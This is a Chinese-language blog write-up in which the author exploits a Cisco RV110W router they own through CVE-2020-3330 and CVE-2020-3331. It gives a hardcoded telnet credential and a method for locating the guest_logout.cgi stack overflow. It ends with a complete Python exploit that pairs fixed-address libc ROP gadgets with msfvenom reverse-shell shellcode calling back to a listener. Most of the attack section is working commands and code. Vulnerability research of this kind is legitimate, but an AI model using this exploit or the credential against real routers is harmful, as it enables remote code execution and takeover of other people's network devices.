CISCO RV110W CVE-2020-3331

2022-02-13

思科路由器 RV110W CVE-2020-3331 想打一台真正的路由器很久了 从闲鱼上买下来后经过了很长的时间,终于有空尝试一下 之所以选这个路由器,说白了就是因为网上的博客比较多,比较好参考。

前期准备

登入管理界面

先登入管理界面后查看固件版本 发现固件版本不对 考虑更新版本为1.2.2.5

如图所示,可以让你选择上传新固件的界面。

尝试和网关交互

使用ipconfig/ifconfig查看网关 尝试能不能ping通网关(这个路由器的默认网关ip为192.168.1.1)

ping 192.168.1.1

使用nmap扫描网关端口(root权限) 据说 如果是真实设备,需要扫描所有端口(花很长时间)

nmap -sU -sT -p0-65535 192.168.1.1

因为是路由器的题目,只需要

nmap 192.168.1.1

发现该路由器开启了telnet服务。

telnet详情

binwalk解包固件

我使用的binwalk较新,出现了安全的提示 因此需要使用如下命令

binwalk -Me RV110W_FW_1.2.2.5.bin  --run-as=root

进入文件系统目录下 使用如下命令查看固件的文件类型

file ./sbin/rc

可以知道是mips32 小端

漏洞利用

前期准备完成后,我们可以开始漏洞利用了。

漏洞搜寻

首先根据前期找到的telnet服务 CVE-2020-3330 还有一个漏洞是 CVE-2020-3331

CVE-2020-3330

其实这个漏洞,说白了 就是telnet服务的密码以md5加密后的形式硬编码到了文件当中。 且其形式为 “UserID:md5(password)” UserID为admin 已知条件 其中 md5(password)的第一个字符为$ 所以,尝试在解包后的固件目录下搜寻

find . | grep -ri "admin:\\$"

可以找到文件名为rc 拖入ida分析找到md5

然后放入md5爆破网站中进行爆破

得到了密码 现在我们得到了telnet服务的完整登入信息 用户名: admin 密码 : Admin123

CVE-2020-3331

CVE-2020-3331是因为栈溢出继而任意代码执行的漏洞

定位漏洞点

注意,该漏洞是前台漏洞getshell 所以一般是带login的页面

所以在固件文件夹中搜寻

find . | grep -ri "login.cgi"

还真找到了

可以看到是 httpd程序,我们可以判断,漏洞存在于该文件之中

问题来了,我们要怎么找到这个漏洞呢?如果是自己一个个函数的看下去未免费时,而且还不一定找得到。

这里推荐一个软件bindiff bindiff是一款比较二进制文件的神器。 我们可以用这个版本的httpd文件和新一个版本的httpd文件进行对比(众所周知,固件的更新,一般是漏洞修补,或者增添新功能,提高功能效率等等,我们可以从这里找到原版本httpd文件和新版本的差异,从而定位漏洞点),非常高效

下载网址 bindiff 选择bindiff最新版的msi进行安装 注意,安装的时候直接选择安装在ida的文件夹下!!!!! 再注意,安装的路径中最好不要出现中文!!!!

接下来我们要做的就是从cisco的官网中找到RV110W的新版固件 新版固件下载网址

这个版本的固件是1.2.2.8,而我们的使用固件版本为1.2.2.5 满足条件而且差得版本不是很多,可以比较(注意比较的文件所在位置也不能有中文!!!)

比较结果如下:

这里科普一下这些颜色

绿色:相同的基本块

黄色:修改的基本块

红色:删掉的基本块

灰色:新加的基本块

换句话说,黄色和红色是我们的目标 因为是前台漏洞,guest_logout_cgi比较符合我们的目标

右击它选择流程图

仔细查看,发现 存在sscanf函数 这是一个危险函数,因而存在漏洞 在ida中找到该函数

sscanf的规则如下:

%[^;]:分号前的所有字符都要
;%*[^=]:分号后,等号前的字符都不要
=%[^\n]:等号后,换行符前的所有字符都要

举个例子 aaa;bbb=ccc,那么v29是aaa,v28是ccc 注意v28,v29存在在栈中,且sscanf没有限制他们的长度,存在栈溢出漏洞

接下来我们看如何能够走到sscanf函数 仔细看完有3参数要过关

cmac:mac地址格式
cip:ip地址格式
submit_button: 包含status_guestnet.asp

还是注意,这是一个前台漏洞,要发送到路由器中 我们需要确定这是使用get方法还是post方法发送的

import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
#requests.get(url, data=payload, verify=False, timeout=1)
requests.post(url, data=payload, verify=False, timeout=1)

经过测试,发送get请求没有效果 但是发送post请求后,再登入路由器的界面发现登入不了

可以确定是post请求~

漏洞调试

可以利用之前提到的 CVE-2020-3330漏洞,我们可以传送gdbserver到路由器中进行调试

合适的gdbserver版本下载链接

使用python开启一个小型服务器来进行文件传输(十分方便)

python -m http.server 8080

然后用telnet登入路由器后,输入以下命令(注意,主机必须关闭防火墙!!!不然是收不到东西的)

cd tmp
wget "http://192.168.1.100:8080/gdbserver"
chmod +x gdbserver

之所以要进入tmp文件夹,是因为其他目录下只有读权限

使用gdbserver附加httpd程序,首先我们要找到httpd程序的进程号

ps | grep httpd

可以看的httpd有两个进程,但是有用的是 http -S (测出来的)

使用gdbserver进行附加

./gdbserver :1234 --attach 356

在本地下,进入gdb-multiarch 输入以下命令

set architecture mips
set endian little
target remote 192.168.1.1:1234

使用cyclc生成溢出字符串

按c继续

然后使用刚刚的python 发送post请求的脚本发送请求后

确定发生了溢出,且溢出点偏移为85

漏洞实施

因为mips 架构下不支持NX,所以可以使用shellcode 由于sscanf栈溢出,所以不能有空字节,而程序本身的gadget都带有空字节 考虑使用libc下的gadget

有一个点,它的libc基址每次都不变,一直都是2af98000

思科的这个设备,httpd进程的libc基址就是2af98000,无论你是重启进程,还是升级版本,这个基址都不变

问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget。

于是我们使用mipsrop来查找gadget mipsrop是ida的比较好用的一个插件

mipsrop.help() #用来查看用法
mipsrop.stackfinders() # 跳转到栈所示地址的gadget

这两天gadget是有用的

|  0x000257A0  |  addiu $a0,$sp,0x58+var_40  |  jalr  $s0  |
|  0x0003D050  |  move $t9,$a0  |  jalr  $a0  |

接下来是编写shellcode

编写shellcode可以使用msf中的msfvenom来编写

使用如下命令

msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=192.168.1.102 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py 

可以看到shellcode.py中就有shellcode

exp
import requests
from pwn import *

context(arch='mips',endian='little',os='linux')

libc = 0x2af98000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0
jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0
buf =  b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x66\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"



pd1 = b"status_guestnet.asp" + b'a' * 0x31 + p32(jmp_a0) + b'b' * (85 - 49 - 4) + p32(jmp_s0) + b'c' * 0x18 + buf

url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
    "cmac": "12:af:aa:bb:cc:dd",
    "submit_button": pd1,
    "cip": "192.168.1.102"
}

requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=300)

实施攻击(注意,如果是在虚拟机中,虚拟机选项一定得是桥接模式!!!不然你收不到回弹的信息)

首先使用nact开启监听

ncat -lv 8888

然后调用脚本

python3 exp.py

监听的端口收到了回弹的shell

实施成功!

reference

xuanxuan

zyen12138

la13x